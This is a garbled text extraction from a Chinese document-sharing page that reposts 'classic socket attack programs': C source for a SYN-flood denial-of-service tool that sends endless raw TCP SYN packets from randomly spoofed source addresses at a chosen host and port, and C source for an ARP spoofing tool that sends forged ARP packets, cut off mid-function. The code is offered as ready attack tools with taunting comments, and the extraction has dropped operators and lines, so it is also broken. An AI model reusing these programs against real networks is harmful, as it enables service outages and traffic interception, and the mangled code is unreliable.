几个经典的SOCKET攻击程序_第1页
几个经典的SOCKET攻击程序_第2页
几个经典的SOCKET攻击程序_第3页
几个经典的SOCKET攻击程序_第4页
几个经典的SOCKET攻击程序_第5页
已阅读5页,还剩3页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、转载几个经典的SOCKET攻击程序信息来源:郑州大学平安园文章 不详文章修改:cbchen1,著名的dos攻击软件 CODE:/* DOS.c */ #include #include #include #include #include #include #include #include #include void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char *argv) int DE

2、STPORT; int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc != 3) fprintf(stderr,Usage:dos host port.n); exit(1); DESTPORT = atoi(argv2); printf(no is attacking host %s with port %d.n,argv1,DESTPORT); /printf(ok started!n); bzero(&addr,sizeof(struct sockaddr_in); addr.sin_fa

3、mily=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv1,&addr.sin_addr)=0) host=gethostbyname(argv1); if(host=NULL) fprintf(stderr,HostName Error:%sna,hstrerror(h_errno); exit(1); addr.sin_addr=*(struct in_addr *)(host-h_addr_list0); /* 使用IPPROTO_TCP创立一个TCP的原始套接字 */ sockfd=socket(AF_INET,SOC

4、K_RAW,IPPROTO_TCP); if(sockfdip_v=IPVERSION; /* 版本一般的是 4 */ ip-ip_hl=sizeof(struct ip)2; /* IP数据包的头部长度 */ ip-ip_tos=0; /* 效劳类型 */ ip-ip_len=htons(head_len); /* IP数据包的长度 */ ip-ip_id=0; /* 让系统去填写吧 */ ip-ip_off=0; /* 和上面一样,省点时间 */ ip-ip_ttl=MAXTTL; /* 最长的时间 255 */ ip-ip_p=IPPROTO_TCP; /* 我们要发的是 TCP包 */

5、 ip-ip_sum=0; /* 校验和让系统去做 */ ip-ip_dst=addr-sin_addr; /* 我们攻击的对象 */ /* 开始填写TCP数据包 */ tcp=(struct tcphdr *)(buffer +sizeof(struct ip); tcp-source=htons(LOCALPORT); tcp-dest=addr-sin_port; /* 目的端口 */ tcp-seq=random(); tcp-ack_seq=0; tcp-doff=5; tcp-syn=1; /* 我要建立连接 */ tcp-check=0; /* 好了,一切都准备好了.效劳器,你准

6、备好了没有? _ */ while(1) /* 你不知道我是从那里来的,慢慢的去等吧! */ ip-ip_src.s_addr=random(); /* 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ /* 下面这条可有可无 */ tcp-check=check_sum(unsigned short *)tcp, sizeof(struct tcphdr); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in); /* 下面是首部校验和的算法,偷了别人的 */ unsigned short chec

7、k_sum(unsigned short *addr,int len) register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft1) sum+=*w+; nleft-=2; if(nleft=1) *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; sum=(sum16)+(sum&0xffff); sum+=(sum16); answer=sum; return(answer); Copy

8、 to clipboard2,arp攻击软件 CODE:/* main.c - description - begin : 五 2月 14 20:00:42 CST 2003 copyright : (C) 2003 by root email : rootncmgr */ /* * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Fre

9、e Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * */ #include #include #include #include #include #include #include /*#include */ #include #include #define ETH_HW_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define ARP_FRAME_TYPE 0x0806 #define ETHER_HW_TY

10、PE 1 #define IP_PROTO_TYPE 0x0800 #define OP_ARP_REQUEST 2 #define DEFAULT_DEVICE eth0 char usage=send_arp: sends out custom ARP packet.n tusage:send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr times nn; struct arp_packet u_char targ_hw_addrETH_HW_ADDR_LEN; u_char src_hw_addrETH_HW_ADDR_LEN

11、; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char sndr_hw_addrETH_HW_ADDR_LEN; u_char sndr_ip_addrIP_ADDR_LEN; u_char rcpt_hw_addrETH_HW_ADDR_LEN; u_char rcpt_ip_addrIP_ADDR_LEN; u_char padding18; ; void die(char *); void get_ip_

12、addr(struct in_addr*,char*); void get_hw_addr(char*,char*); int main(int argc,char* argv) struct in_addr src_in_addr,targ_in_addr; struct arp_packet pkt; struct sockaddr sa; int sock; int j,number; if(argc != 6)die(usage); sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP); if(sock0) perror(socket er

13、ror!); exit(1); number = atoi(argv5); pkt.frame_type = htons(ARP_FRAME_TYPE); pkt.hw_type = htons(ETHER_HW_TYPE); t_type = htons(IP_PROTO_TYPE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; t_addr_size = IP_ADDR_LEN; pkt.op=htons(OP_ARP_REQUEST); get_hw_addr(pkt.targ_hw_addr,argv4); get_hw_addr

14、(pkt.rcpt_hw_addr,argv4); get_hw_addr(pkt.src_hw_addr,argv2); get_hw_addr(pkt.sndr_hw_addr,argv2); get_ip_addr(&src_in_addr,argv1); get_ip_addr(&targ_in_addr,argv3); memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(s

15、a.sa_data,DEFAULT_DEVICE); for (j=0;j if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa) s_addr=inet_addr(str); if(in_addr-s_addr = -1) if( (hostp = gethostbyname(str) bcopy(hostp-h_addr,in_addr,hostp-h_length); else fprintf(stderr,send_arp: unknown host %sn,str); exit(1); void get_hw_addr(char* buf,char* str) int i; char c,val; for(i=0;i if( !(c = tolower(*str+) die(Invalid hardware

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论